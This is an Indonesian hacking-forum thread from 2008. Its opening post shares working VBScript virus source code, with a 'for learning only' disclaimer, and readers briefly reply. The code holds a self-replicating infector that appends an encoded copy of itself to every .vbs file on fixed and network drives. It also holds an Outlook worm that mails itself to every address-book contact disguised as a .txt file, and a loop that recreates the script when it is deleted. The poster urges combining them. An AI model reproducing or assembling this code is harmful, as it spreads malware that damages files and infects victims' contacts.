Mr.C Hikari Newbie
Jumlah posting : 19 Reputation : 0 Join date : 2008-06-01
| Subject: Source Code Virus .vbs Mon Jul 28, 2008 8:23 pm | |
| Nih ada beberapa SC virus pake .vbs Tujuannya buat pembelajaran saja, gw gak bertanggung jawab jika terjadi penyalahgunaan... Infeksi File Antar Visual Basic Script (.VBS) - Code:
-
On Error Resume Next Set MawarPutih = CreateObject("Scripting.FileSystemObject") Angel1() Sub Angel1() On Error Resume Next Set a = CreateObject("Scripting.FileSystemObject") For Each SalinMawarPutih In a.Drives If SalinMawarPutih.DriveType = 2 _ Or SalinMawarPutih.DriveType = 3 Then Angel3 (SalinMawarPutih.Path & "\") End If Next End Sub Sub Angel2(FileTarget) On Error Resume Next Set otf = a.GetFile(WScript.ScriptFullName) ra = otf.ReadAll otf.Close Set a = CreateObject("Scripting.FileSystemObject") Set f = a.GetFolder(FileTarget) For Each n In f.Files FileExt = LCase(a.GetExtensionName(n.Path)) If FileExt = "vbs" Or FileExt = "vbe" Then Set openvbs = a.OpenTextFile(n.Path, 1) vbsra = openvbs.ReadAll openvbs.Close If InStr(1, vbsra, "Tips And Trik by ") = False Then Set MawarPutih = CreateObject("Scripting.FileSystemObject") Set JC = MawarPutih.OpenTextFile(WScript.ScriptFullName, 1) RantingMawarPutih = JC.ReadAll JC.Close Set MawarMerah = MawarPutih.OpenTextFile(n.Path, 8, True) MawarMerah.WriteLine vbCrLf & "' Hack .VBS by " & vbCrLf & "Tz = " & Chr(34) & Chr(34) For i = 1 To Len(RantingMawarPutih) Tz = Mid(RantingMawarPutih, i, 1) Tz = Hex(Asc(Tz)) If Len(Tz) = 1 Then Tz = "0" & Tz End If Gz = Gz + Tz If Len(Gz) = 110 Then MawarMerah.WriteLine "Tz = Tz + """ + Gz + Chr(34) Gz = "" End If If Len(RantingMawarPutih) - i = 0 Then MawarMerah.WriteLine "Tz = Tz + """ + Gz + Chr(34) Gz = "" End If Next MawarMerah.WriteLine "Set MawarPutih = CreateObject(""Scripting.FileSystemObject"")" MawarMerah.WriteLine "WriteAppend.Write CM(Tz)" MawarMerah.WriteLine "WriteAppend.Close" MawarMerah.WriteLine "Function CM(CN)" MawarMerah.WriteLine "For GC = 1 To Len(CN) Step 2" MawarMerah.WriteLine "CM = CM & Chr(""&h"" & Mid(CN, GC, 2))" MawarMerah.WriteLine "Next" MawarMerah.WriteLine "End Function" MawarMerah.Close End If End If Next End Sub Sub Angel3(FileTarget) On Error Resume Next Set a = CreateObject("Scripting.FileSystemObject") Set f = a.GetFolder(FileTarget) For Each n In f.SubFolders Angel2 (n.Path) Angel3 (n.Path) Next End Sub
penyebaran Melalui E-mail Via Outlook - Code:
-
On Error Resume Next
Set MawarPutih = CreateObject("Scripting.FileSystemObject") Set MawarMerah = MawarPutih.GetFile(WScript.ScriptFullName) MawarMerah.Copy (MawarPutih.GetSpecialFolder(0) & "\File Virus.txt.vbs") Set Attachments = MawarPutih.GetFile(MawarPutih.GetSpecialFolder(0) & "\File Virus.txt.vbs") Attachments.Attributes = 0 Set RantingMawar = CreateObject("Outlook.Application") If Not RantingMawar = "" Then For Each DuriMawar In RantingMawar.GetNameSpace("MAPI").AddressLists For DaunMawar = 1 To DuriMawar.AddressEntries.Count Set BagianEmail = RantingMawar.CreateItem(0) BagianEmail.Recipients.Add (DuriMawar.AddressEntries(DaunMawar)) BagianEmail.Subject = "Judul Pesan" BagianEmail.Body = "Isi Pesan" BagianEmail.Attachments.Add (MawarPutih.GetSpecialFolder(0) & "\File Virus.txt.vbs") BagianEmail.DeleteAfterSubmit = True BagianEmail.Send Next Next End If
Anti Delete - Code:
-
On Error Resume Next
Set MawarPutih= Createobject("scripting.filesystemobject") Set MawarMerah= MawarPutih.opentextfile(wscript.scriptfullname, 1) BatangMawar= MawarMerah.readall MawarMerah.Close Do If Not (MawarPutih.fileexists(wscript.scriptfullname)) Then Set DuriMawar= MawarPutih.createtextfile(wscript.scriptfullname, True) DuriMawar.writeBatangMawar DuriMawar.Close End If Loop
semua code diatas.. bisa kalian jadiin 1.. tinggal kreasinya aja... thx_to:Shadow Angel | |
|
ea_ngel Hikari Master
Jumlah posting : 657 Reputation : 2 Join date : 2008-04-18
Status Race: Undead Class: Magician
| Subject: Re: Source Code Virus .vbs Tue Aug 19, 2008 12:17 pm | |
| Nice share
Tp paling bagus, klo di buat virusnya dibuat juga antivirusnya. Supaya bisa membantu juga yg kena virusnya | |
|
M364TR0N Hikari Addict
Jumlah posting : 106 Reputation : 0 Join date : 2008-05-17
| Subject: Re: Source Code Virus .vbs Tue Aug 19, 2008 8:53 pm | |
| @Mr.C
itu efek ke kompie nya gmn ?? | |
|
chevi Hikari Newbie
Jumlah posting : 5 Reputation : 0 Join date : 2009-08-12
| Subject: Re: Source Code Virus .vbs Wed Aug 12, 2009 8:34 pm | |
| mantap juga bozzz.... tapi antinya mana ya..hohohohoh sekalian dunk...hohohohohoh | |
|
Sponsored content
| Subject: Re: Source Code Virus .vbs | |
| |
|